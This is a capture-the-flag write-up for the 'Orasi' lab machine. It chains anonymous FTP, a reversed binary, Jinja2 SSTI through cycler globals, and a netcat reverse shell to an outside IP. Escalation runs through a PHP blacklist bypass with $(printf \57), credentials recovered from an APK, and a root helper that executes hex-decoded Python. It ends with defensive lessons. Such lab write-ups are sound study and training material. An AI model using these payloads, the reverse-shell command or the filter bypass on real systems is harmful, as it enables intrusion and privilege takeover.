HMV Orasi Summary

2026-04-08 2026-04-10916 Words

This box turned into a clean multi-stage chain once I stopped treating each service in isolation. Anonymous FTP leaked a custom binary; that binary pointed me toward a hidden Flask endpoint; the endpoint was vulnerable to Jinja2 SSTI; and local privilege escalation then became a sequence of small trust failures: a blacklist-based PHP jail, a reversible credential routine embedded in an Android APK, and a root helper script that executed Python after decoding attacker-controlled hex.

Scope

  • Name: Orasi
  • Difficulty: (6/10)
  • OS: Linux
  • IP: orasi.hmv (192.168.56.127)

Enumeration

My initial TCP scan showed four exposed services, and port 5000 immediately stood out because a Werkzeug server is rarely something I expect to see on a hardened target.

❯ nmap -p- --min-rate 3000 -oN overall orasi.hmv

PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
5000/tcp open  upnp

The detailed scan confirmed two useful points: FTP allowed anonymous access, and the service on 5000 was a Python/Werkzeug application rather than a random high-port listener.

❯ nmap -sC -sV -p21,22,80,5000 orasi.hmv

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Feb 11  2021 pub
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
5000/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.7.3)

Anonymous FTP contained only one interesting file, but it was enough.

ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Feb 11  2021 .
drwxr-xr-x    3 ftp      ftp          4096 Feb 11  2021 ..
-rw-r--r--    1 ftp      ftp         16976 Feb 07  2021 url

The downloaded url file was an ELF binary. After reversing it, I ended up with two practical clues: a hidden route named /sh4d0w$s and the fact that the missing GET parameter followed a six-character leetspeak pattern. That meant I did not need a huge generic wordlist. I generated only six-character combinations from 1337leet and fuzzed the parameter name directly.

url_logic.avif
Figure 1: Reversing the url binary exposed both the hidden route and the parameter-generation logic.

Then I use the hint from homepage to create a custom fuzzing dicts.

❯ crunch 6 6 1337leet > fuzz_parameters.txt
❯ ffuf -u 'http://orasi.hmv:5000/sh4d0w$s?FUZZ=id' -w fuzz_parameters.txt -fs 8

l333tt                  [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 30ms]

Once l333tt surfaced, the endpoint behavior started to make sense immediately.

❯ curl 'http://orasi.hmv:5000/sh4d0w$s' -G --data-urlencode 'l333tt={{6*6}}'
36

That arithmetic evaluation confirmed server-side template injection rather than a normal reflected parameter.

Foothold

With Jinja2 SSTI confirmed, I moved straight to code execution by reaching Python globals through cycler.

❯ curl 'http://orasi.hmv:5000/sh4d0w$s' -G \
  --data-urlencode 'l333tt={{cycler.__init__.__globals__.os.popen("id").read()}}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

At that point the target was already executing shell commands as www-data. I used the same SSTI primitive to launch a reverse shell and moved into normal post-exploitation enumeration from there.

❯ curl 'http://orasi.hmv:5000/sh4d0w$s' -G \
  --data-urlencode 'l333tt={{cycler.__init__.__globals__.os.popen("nc 192.168.56.1 1337 -e /bin/bash").read()}}'

The local users worth caring about were obvious.

www-data@orasi:~/html$ grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
irida:x:1000:1000:irida,,,:/home/irida:/bin/bash
kori:x:1001:1001::/home/kori:/bin/sh

Privilege Escalation

www-data to kori

The first sudoers rule was already dangerous enough to be the next pivot.

www-data@orasi:~/html$ sudo -l
Matching Defaults entries for www-data on orasi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on orasi:
    (kori) NOPASSWD: /bin/php /home/kori/jail.php *

The jail implementation looked restrictive at first glance, but it relied on a blacklist and then passed the supplied string to exec(). That is exactly the kind of design that tends to fail under shell expansion.

<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("Orasis Jail, argument missing\n");

function filter($var) {
        if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        $result = exec($var);
        echo "$result\n";
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>

I verified the allowed execution path first.

www-data@orasi:~/html$ sudo -u kori /bin/php /home/kori/jail.php 'id'
uid=1001(kori) gid=1001(kori) groups=1001(kori)
Command executed

The filter banned a literal /, but command substitution was still interpreted by the shell, so I could recreate forbidden path separators with $(printf \\57). After staging my SSH public key in /tmp/key.txt, I used the jail to create Kori's ~/.ssh directory and copy the key into authorized_keys.

www-data@orasi:~/html$ sudo -u kori /bin/php /home/kori/jail.php 'cd ~ && mkdir -p .ssh'
Command executed

www-data@orasi:~/html$ sudo -u kori /bin/php /home/kori/jail.php 'cp $(printf \\57)tmp$(printf \\57)key.txt $HOME$(printf \\57).ssh$(printf \\57)authorized_keys'

Command executed

That gave me a clean shell as kori without having to fight the jail again.

kori to irida

As kori, the next privilege boundary looked strangely narrow.

$ sudo -l
Matching Defaults entries for kori on orasi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kori may run the following commands on orasi:
    (irida) NOPASSWD: /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk
kori@orasi:~$ sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

That rule did not give me direct command execution as irida, but it did hand me one of her application artifacts. I copied the APK, decompiled it with jadx, and reviewed the login logic. The important part was not a hardcoded secret but a reversible encoding routine used to validate Irida's password. Reproducing that same function locally was enough to recover the real password from the app's logic, so I authenticated as irida with the recovered credential instead of trying to brute force anything.

irida_credential.avif
Figure 2: The decompiled APK exposed the password-encoding routine I used to reconstruct Irida's credential.

irida to root

The final sudoers entry was the cleanest bug on the box.

irida@orasi:~$ sudo -l
Matching Defaults entries for irida on orasi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User irida may run the following commands on orasi:
    (root) NOPASSWD: /usr/bin/python3 /root/oras.py

Running the helper once with plain text immediately revealed what it expected.

irida@orasi:~$ sudo /usr/bin/python3 /root/oras.py
: id
Traceback (most recent call last):
  File "/root/oras.py", line 7, in <module>
    name = bytes.fromhex(name).decode('utf-8')
ValueError: non-hexadecimal number found in fromhex() arg at position 0

So the script was reading input, decoding it from hex into UTF-8, and then executing the resulting Python as root. A quick test with a harmless payload confirmed the behavior.

irida@orasi:~$ echo -n 'print("hello")' | xxd -p
7072696e74282268656c6c6f2229

irida@orasi:~$ sudo /usr/bin/python3 /root/oras.py
: 7072696e74282268656c6c6f2229
hello

My first idea was to spawn /bin/bash directly through the helper. That did prove I was executing code as root, but it was not a stable win: the helper exited immediately after running the command, so I did not keep an interactive root shell.

irida@orasi:~$ echo -n 'os.system("/bin/bash -ip")' | xxd -p | sudo /usr/bin/python3 /root/oras.py
: root@orasi:/home/irida# exit
None

So instead of chasing an interactive TTY, I checked whether root SSH access was disabled entirely. It was not. The sshd_config entry showed prohibit-password, which still allows key-based logins.

irida@orasi:~$ grep -i root /etc/ssh/sshd_config
#PermitRootLogin prohibit-password

That changed the finishing move completely. I wrote a small pwn.sh helper that appended my public key into root's authorized_keys, then used oras.py to execute that script as root. Once the key was in place, I connected over SSH with the matching private key and got a reliable root session.

irida@orasi:~$ ssh -i root_key root@localhost
Last login: Thu Feb 11 15:46:17 2021
root@orasi:~# id
uid=0(root) gid=0(root) groups=0(root)

Takeaways

This machine was a satisfying chained exploit rather than a single catastrophic bug. Anonymous FTP leaked enough reverse-engineering material to discover a hidden Flask parameter, that parameter led to Jinja2 SSTI and a www-data shell, and the rest of the compromise was a sequence of unsafe trust decisions: a shelling-out PHP jail, a sensitive APK exposed through sudoers, and a root helper that effectively offered "hex-encoded Python as a service".

The defensive lessons are straightforward:

  • Do not leave reverse-engineering clues or internal helper binaries exposed through anonymous FTP.
  • Treat SSTI as full code execution, not merely a templating bug.
  • Blacklist-based command filters are brittle, especially when they still invoke a shell underneath.
  • Mobile applications should never contain reversible credential logic that can be replayed offline.
  • Any privileged helper that decodes and executes attacker-controlled input is equivalent to direct root command execution.

Footnotes:

1

The cycler.__init__.__globals__ technique is a standard Jinja2 SSTI escape because it provides access to Python globals from inside the template context.

2

$(printf \\57) expands to / because octal 57 is the slash character, which is why the payload bypassed the literal-slash blacklist.


Creator: Emacs 31.0.50 (Org mode 10.0-pre)